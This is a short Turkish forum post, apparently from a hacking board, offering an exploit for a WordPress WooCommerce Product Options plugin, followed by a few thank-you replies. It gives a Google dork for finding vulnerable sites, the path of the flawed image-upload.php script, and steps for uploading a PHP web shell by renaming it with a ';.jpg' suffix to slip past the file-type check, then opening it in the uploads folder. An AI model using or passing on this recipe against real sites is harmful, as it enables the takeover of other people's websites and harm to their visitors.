Quaxer Exploit | Wordpress Product Options Plugin Exploit!

Google Dork: inurl:/woocommerce-product-options/includes/

Acikli Link: HEDEF-SİTE/wp-content/plugins/woocommerce-product-options/includes/image-upload.php

Kullanım: Mesela shell dosyamızın ismi "Qxshell.php" olsun. "Qxshell.php" ismini "Qxshell.php;.jpg" olarak değiştirelim ve upload edelim.

Yüklediğiniz dizin: "HEDEF-SİTE/wp-content/uploads/Qxshell.php;.jpg" girin ve shell karşınızda!

 

eline saglik

 

eline saglik

eyw

 

Bakalım.